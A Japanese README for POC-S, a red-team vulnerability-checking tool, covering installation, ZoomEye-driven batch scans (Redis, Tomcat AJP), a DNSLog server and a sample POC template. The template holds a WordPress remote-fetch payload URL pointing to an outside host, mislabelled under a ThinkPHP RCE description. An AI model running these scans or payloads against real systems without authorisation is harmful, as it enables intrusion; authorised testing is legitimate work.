
POC-Tの強化版であるPOC-Sは、レッドブルーチームの対抗戦においてWebアプリケーションの脆弱性を迅速に検証するために使用されます。機能の強化とスクリプトの分類追加が行われており、dnslogなどを内蔵しています。また、vulhubターゲットマシンやその他のオープンソースプロジェクトからの高可用性POCをプラットフォームに補充しています。
POC-Tのwikiドキュメントはdocディレクトリを参照
前書き: 現在
事前の双方同意なしにPOC-Sを使用してターゲットを攻撃することは違法です。 POC-Sはセキュリティテスト目的のみで使用されます
TODO
--initパラメータでtookit.conf設定ファイルを動的に更新する機能を提供(例: --init zoomeyeでzoomeyeの設定情報を初期化)サードパーティのインターフェースは認証が必要なため、
--initパラメータで関連するインターフェース設定を初期化できます(例:--init zoomeye)
pip install pocs
ソースコードからのインストール:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
pipでpocsをインストールした際に
Some files missingエラーが発生した場合は、pocsのインストールディレクトリ(python2.7\Lib\site-packages\pocs)に移動してtookit.confをリネームしてください。WARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments.のようなエラーが発生した場合は、パッケージの依存関係の問題です。 以下のパッケージのバージョンを確認・更新してください: setuptools==39.0.1 cachetools==3.1.1 google-api-python-client==1.7.11
pocs -s test/test2.py -iS 127.0.0.1 # script/test/test2.pyスクリプトを読み込み
pocs -s test2 -iS 127.0.0.1 # script/test2.pyスクリプトを読み込み
pocs -b test -iS 127.0.0.1 # script/testディレクトリ内の全スクリプトをバッチ読み込み
pocs -b test -s test2.py -iS 127.0.0.1 # script/test/test2.pyスクリプトを読み込み
pocs -s myself_script.py -iS 127.0.0.1 # カスタムスクリプトおよびスクリプトディレクトリを読み込み
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye // zoomeyeの設定情報を初期化
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
ZoomEyeを使用してCNVD-2020-10487 tomcat ajp lfi脆弱性をバッチ検索
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

ceyeの不安定さに悩み、DNSLogプラットフォームを構築する時間や手間(2つのドメイン、パブリックIP、ドメインのDNSサーバー変更が必要)がない場合、 POC-Sが提供する簡易dnslogプラットフォームをお試しください。1つのドメインと1つのパブリックIPだけで構築可能で、APIインターフェースによる検証(画面なし)を提供します。
dnslog.xxx.cnがあなたのパブリックドメイン、x.x.x.xがパブリックIPであると仮定します。dnslog.xxx.cnがx.x.x.xに正しく解決できることを確認してください。そうでないとAPIにアクセスできません。 パブリックIP(x.x.x.x)で以下のコマンドを実行:
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88(pipインストールでない場合はpocs.dnslog.pyスクリプトを直接実行)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>> dns ip: x.x.x.x
dns logコマンドは、nslookupコマンドのみをサポート: nslookup 1234.dnslog.xxx.cn x.x.x.x
ping 1234.dnslog.xxx.cn コマンドを使用したい場合は、xxx.cnドメインにカスタムDNSサーバーを設定してください(DNSLogの設定を参照)
web logコマンド: curl http://dnslog.xxx.cn:88/weblog/poc123
APIインターフェースのアドレス: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
パラメータ:
- token 必須、dnslog構築時に入力したapi_key
- type 必須、選択可能な値はdns/web
- filter オプション、レコードをフィルタリング、完全一致
pocsはより柔軟なプラグイン分類方法を提供します。現在収集されているPOCは主に4つのカテゴリに分類されます:Fuzz POC、OWASP POC、Vuln POC、Tool POC。POCに関しては、GitHub上の既存のPOCを可能な限り収集しますが、多すぎず、個人での収集・整理が必要です。
POC作成は可能な限り規範に従い、POC-Tの作成スタイルに準拠します。例は以下の通りです。
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 リモートコード実行脆弱性
説明
2018年12月10日正午、thinkphp公式アカウントが更新通知を発表し、5.xシリーズの全バージョンにgetshell可能な高リスク脆弱性が含まれていることを公表しました。
フレームワークがコントローラー名を十分にチェックしていないため、強制ルーティングが有効でない場合にgetshell脆弱性が発生する可能性があります。
影響を受けるバージョンは5.0.23および5.1.31より前の全バージョンです。できるだけ早く最新バージョンに更新することを推奨します。
バージョン
ThinkPHP5.0 バージョン <= 5.0.22 ThinkPHP5.1 バージョン <= 5.1.29
使用方法:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
参照先
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
主にvulhubのプラグイン作成およびPOC-Tに付属のプラグインpocに基づき、高可用性のPOCのみを追加しています。 以下にリストアップした各POCは、基本的に自分で環境を構築して一つ一つ検証し、使用可能であることを確認しています。誤ったPOCがあれば、issuesで連絡してください。
出典: boy-hack/POC-T
出典: hunterの検出スクリプト
一般的なツール系POC、検索エンジンや情報照会機能を提供
他のオープンソースPOC、例えばhttps://github.com/boy-hack/airbug プロジェクトではいくつかのPOCが収集されており直接使用可能ですが、HackReqeustライブラリはPython3用のため、Python2に変更する必要があります。私が変更したPython2用ライブラリを直接インストールできます: https://github.com/jiangsir404/hack-requests